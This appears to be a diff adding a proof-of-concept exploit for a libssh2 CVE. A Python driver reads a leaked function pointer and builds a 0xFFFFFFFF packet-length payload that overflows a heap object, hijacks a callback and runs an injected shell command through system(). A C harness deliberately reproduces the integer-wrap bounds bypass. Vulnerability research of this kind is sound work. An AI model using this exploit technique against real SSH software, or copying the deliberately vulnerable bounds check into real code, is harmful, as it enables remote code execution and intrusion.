libssh2-cve-2026-55200-poc/poc/libpwn_local_rce_exploit.py
+131
View File
@@ -0,0 +1,131 @@
#!/usr/bin/env python3
import argparse
import os
import re
import struct
import subprocess
import sys
from pathlib import Path
PACKET_LENGTH = 0xFFFFFFFF
def repo_root():
return Path(__file__).resolve().parent.parent
def default_harness_path():
suffix = ".exe" if os.name == "nt" else ""
return Path(__file__).resolve().parent / f"libpwn_local_rce_harness{suffix}"
def default_proof_path():
return Path(__file__).resolve().parent / "libpwn_rce_proof.txt"
def default_command(proof_path):
marker = "libpwn-rce-verified"
if os.name == "nt":
return f"cmd /c echo {marker}>{proof_path}"
return f"/bin/sh -c 'echo {marker} > {proof_path}'"
def parse_leak(line):
pattern = (
r"exec_callback=(0x[0-9a-fA-F]+|[0-9a-fA-F]+)\s+"
r"callback_offset=(\d+)\s+"
r"command_offset=(\d+)\s+"
r"ptr_size=(\d+)"
)
match = re.search(pattern, line)
if not match:
raise ValueError(f"could not parse leak line: {line!r}")
return {
"exec_callback": int(match.group(1), 16),
"callback_offset": int(match.group(2)),
"command_offset": int(match.group(3)),
"ptr_size": int(match.group(4)),
}
def pack_ptr(value, ptr_size):
if ptr_size == 8:
return struct.pack("<Q", value)
if ptr_size == 4:
return struct.pack("<I", value)
raise ValueError(f"unsupported pointer size {ptr_size}")
def build_payload(leak, command):
command_bytes = command.encode() + b"\x00"
end = leak["command_offset"] + len(command_bytes)
payload = bytearray(b"A" * end)
payload[leak["callback_offset"]:leak["callback_offset"] + leak["ptr_size"]] = (
pack_ptr(leak["exec_callback"], leak["ptr_size"])
)
payload[leak["command_offset"]:leak["command_offset"] + len(command_bytes)] = command_bytes
return bytes(payload)
def build_wire(payload):
return struct.pack(">II", PACKET_LENGTH, len(payload)) + payload
def run_exploit(args):
harness = Path(args.harness).resolve()
proof = Path(args.proof).resolve()
if proof.exists():
proof.unlink()
proc = subprocess.Popen(
[str(harness)],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
cwd=str(repo_root()),
text=False,
)
try:
leak_line = proc.stdout.readline().decode(errors="replace").strip()
leak = parse_leak(leak_line)
command = args.command or default_command(proof)
payload = build_payload(leak, command)
wire = build_wire(payload)
proc.stdin.write(wire)
proc.stdin.close()
output = proc.stdout.read().decode(errors="replace")
rc = proc.wait(timeout=args.timeout)
finally:
if proc.poll() is None:
proc.kill()
print(leak_line)
print(output, end="")
print(f"process_rc={rc}")
print(f"payload_len={len(payload)}")
print(f"proof_path={proof}")
if rc != 0:
raise SystemExit("FAIL: harness exited non-zero")
if not proof.exists():
raise SystemExit("FAIL: proof file was not created")
proof_text = proof.read_text(errors="replace").strip()
if "libpwn-rce-verified" not in proof_text:
raise SystemExit(f"FAIL: unexpected proof file content: {proof_text!r}")
print("RCE_PROOF=PASS")
def main():
parser = argparse.ArgumentParser(description="Local RCE proof driver for the libpwn CVE harness.")
parser.add_argument("--harness", default=str(default_harness_path()))
parser.add_argument("--proof", default=str(default_proof_path()))
parser.add_argument("--command", default="")
parser.add_argument("--timeout", type=float, default=10.0)
args = parser.parse_args()
run_exploit(args)
if __name__ == "__main__":
main()
libssh2-cve-2026-55200-poc/poc/libpwn_local_rce_harness.c
+118
View File
@@ -0,0 +1,118 @@
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define LIBSSH2_PACKET_MAXPAYLOAD 35000u
struct target_object {
unsigned char payload[19];
void (*callback)(const char *);
char command[320];
};
static void safe_callback(const char *command)
{
printf("safe_callback command=%s\n", command);
}
static void exec_callback(const char *command)
{
int rc;
printf("exec_callback command=%s\n", command);
fflush(stdout);
rc = system(command);
printf("system_rc=%d\n", rc);
}
static int read_exact(unsigned char *buf, size_t len)
{
size_t got = fread(buf, 1, len, stdin);
return got == len ? 0 : -1;
}
static uint32_t load_be32(const unsigned char *buf)
{
return ((uint32_t)buf[0] << 24) |
((uint32_t)buf[1] << 16) |
((uint32_t)buf[2] << 8) |
(uint32_t)buf[3];
}
int main(void)
{
unsigned char hdr[8];
unsigned char *body = NULL;
struct target_object *obj = NULL;
uint32_t packet_length;
uint32_t body_len;
unsigned int auth_len = 16;
int mac_len = 0;
size_t total_num = 4;
size_t copy_len;
obj = (struct target_object *)calloc(1, sizeof(*obj));
if(!obj) {
return 1;
}
obj->callback = safe_callback;
strcpy(obj->command, "not executed");
printf("LEAK exec_callback=%p callback_offset=%zu command_offset=%zu ptr_size=%zu\n",
(void *)exec_callback,
offsetof(struct target_object, callback),
offsetof(struct target_object, command),
sizeof(void *));
fflush(stdout);
if(read_exact(hdr, sizeof(hdr))) {
free(obj);
return 2;
}
packet_length = load_be32(hdr);
body_len = load_be32(hdr + 4);
if(packet_length < 1u) {
free(obj);
return 3;
}
total_num += packet_length + (mac_len ? mac_len : 0) + auth_len;
if(total_num > LIBSSH2_PACKET_MAXPAYLOAD || total_num == 0u) {
free(obj);
return 4;
}
body = (unsigned char *)malloc(body_len ? body_len : 1);
if(!body) {
free(obj);
return 5;
}
if(read_exact(body, body_len)) {
free(body);
free(obj);
return 6;
}
copy_len = packet_length - 1u;
if(copy_len > body_len) {
copy_len = body_len;
}
printf("accepted packet_length=0x%08x allocation=%zu copy_len=%zu body_len=%u\n",
packet_length, total_num, copy_len, body_len);
fflush(stdout);
memcpy(obj->payload, body, copy_len);
obj->callback(obj->command);
free(body);
free(obj);
return 0;
}